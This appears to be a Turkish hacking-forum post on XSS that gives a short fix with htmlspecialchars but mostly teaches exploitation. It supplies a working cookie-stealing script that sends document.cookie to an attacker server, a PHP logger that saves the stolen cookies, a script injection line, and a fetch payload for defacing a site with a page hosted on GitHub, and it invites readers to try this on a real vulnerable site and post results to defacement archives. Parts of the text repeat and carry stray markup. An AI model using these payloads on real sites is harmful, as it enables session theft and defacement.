Merhaba Dostlar
Bu konumda sizlere xss açığına bakış açımı, sömürme biçimlerini, fixleme işlemlerini anlatacağım.
İlk olarak xss açığı nedir buna bakalım.
Kullanıcıdan alınan verinin filtrelenmeden sitede kullanılması sonucu javascript kodlarının sitede çalışması ile oluşan açıktır.
Bu açık sayesinde sitedeki kullanıcıların cookieleri çekilebilir ve dolaylı yönden index basılabilir haliyle index basmak yerine fake bir login girişi verilerek kullanıcı adı ve şifreler öğrenilebilir.
Şimdi bu açığın basit bir şekilde oluşumundan bahsedelim. Kullanıcıdan alınan bir form verisi(kullanıcı adı,şifre) girilirse ve bu veri filtrelenmezse xss oluşabilir.
Bu konumda sizlere xss açığına bakış açımı, sömürme biçimlerini, fixleme işlemlerini anlatacağım.
İlk olarak xss açığı nedir buna bakalım.
Kullanıcıdan alınan verinin filtrelenmeden sitede kullanılması sonucu javascript kodlarının sitede çalışması ile oluşan açıktır.
Bu açık sayesinde sitedeki kullanıcıların cookieleri çekilebilir ve dolaylı yönden index basılabilir haliyle index basmak yerine fake bir login girişi verilerek kullanıcı adı ve şifreler öğrenilebilir.
Şimdi bu açığın basit bir şekilde oluşumundan bahsedelim. Kullanıcıdan alınan bir form verisi(kullanıcı adı,şifre) girilirse ve bu veri filtrelenmezse xss oluşabilir.
Kod:
<input type="text" name="kullaniciadi">[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER]<input type="text" name="sifre">
Ve girilen veriler bir php dosyasıyla alınsın
PHP:
$kullaniciadi=$_POST['kullaniciadi'];
sifre=$_POST['sifre'];
İşte tam bu noktada alınan veri değişkene aktarılırken bir filtrelenme uygulanmazsa xss açığı oluşur.
Peki bu filtrelemeyi nasıl sağlarız?
Burada htmlspecialchars fonksiyonu php'de bu açığı kapatmayı sağlar. yani yukarıdaki kodun doğru versiyonu
PHP:
$kullaniciadi=htmlspecialchars($_POST['kullaniciadi']);
sifre=htmlspecialchars($_POST['sifre']);
Bu açığı kapatmak için bazen sadece yollanan veriyi alırken filtrelemek yetmez. Örneğin veritabanına bir <script>alert(1)</script> gibi bir veri girilirse ve veritabanından çağırılan bu verinin
filtrelemeden ekrana bastırılması sağlanırsa buda xss açığını dolaylı yoldan oluşturur bu yüzden ekrana bastırılırkende htmlspecialcharstan geçirilerek ekrana bastırılması gerekir.
Kısaca bu olaya değindikten sonra artık sömürme tarafına geçelim.
XSS İLE COOKİE ÇEKME
Burada birazda sosyal mühendislikte vardır.
Xss ile cookie çalarken bir sunucuya ihtiyacımız var. Bu sunucumuzda çekilen cookieleri kaydedeceğiz.
ilk olarak sitemizin adını cookieler.com olarak örnek verelim.
buraya bir hack.js uzantılı dosya oluşturup dosyanın içine
JavaScript:
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", 'https://cookieler.com/kaydet.php?cookie='+document.cookie);
xmlHttp.send(null);
kodunu yapıştırarak cookieler.com daki diğer oluşturacağımız ve cookienin kaydını yapacağımız php dosyasının yolunu göstereceğiz.
Şimdi kaydet.php dosyamızı (cookienin kaydını yapacağımız) oluşturalım ve içine
PHP:
if(isset($_GET["cookie"])){
$file = fopen('cookieler.txt', 'a');
fwrite($file, $_GET["cookie"]."\n");
fclose($file);
}
kodunu yapıştıralım. Şimdi senaryomuz hack.js dosyası çağırılırsa get methoduyla kaydet.php ye bir istek atıyoruz ve bu isteği cookiler.txt ye kaydediyoruz.
Artık yapmamız gereken xss açıklı sitede hack.js dosyamızı çağırmak.
JavaScript:
<script src="https://cookieler.com/hack.js"></script>
Bu kodu xss açıklı sitemize girdikten sonra açıklı sayfaya hedefimizi yönlendirirsek bu hack.js dosyasını bilmeden çalıştırarak cookielerini sunucumuza kaydetmemizi sağlayacak.
İNDEX BASMA|GERÇEK SİTE ÖRNEĞİYLE-KENDİNİZDE BU SİTEDE DENEYEBİLİRSİNİZ|
burada biraz javascripti zorlayacağız.
İlk olarak ben githubtan bir herkese açık proje oluşturup içine kendi index kodlarımı yazdım. Ardından bunun raw olarak çıktısını aldım.
Raw çıktımın linki https://raw.githubusercontent.com/tealpi32/indexim/main/ab.html
Şimdi ise bunu xss açığı bulduğum bir siteye girerek deniyorum site linki
Şimdi ise index basmak için gerekli olan kodumuzu paylaşayım
<script>fetch(" ").then(response=>response.text()).then(html=>document.body.innerHTML=html);</script>
koddaki kırmızı renkli yere kendi indeksinizi raw url'ini yazarak düzenleyin ardından siteye uygulayın
<script>fetch(" ").then(response=>response.text()).then(html=>document.body.innerHTML=html);</script>
Gördüğünüz gibi ekrana indeksimiz bastırıldı. Buradaki önemli olan konu çekilen dosyanın sergilenmesi. Yani dosyanın sunucuya indirlmesi söz konusu değildir.
Ancak yinede bu ekranı zone sitesine koyarsanız indeksinizi zone sitesinde de görmüş olacaksınız.
Bu konumda sizlere xss açığının oluşumundan sömürülmesine ve fikslenmesine kadar anlatmaya çalıştım.
İşinize yaraması dileğiyle
İyi Forumlar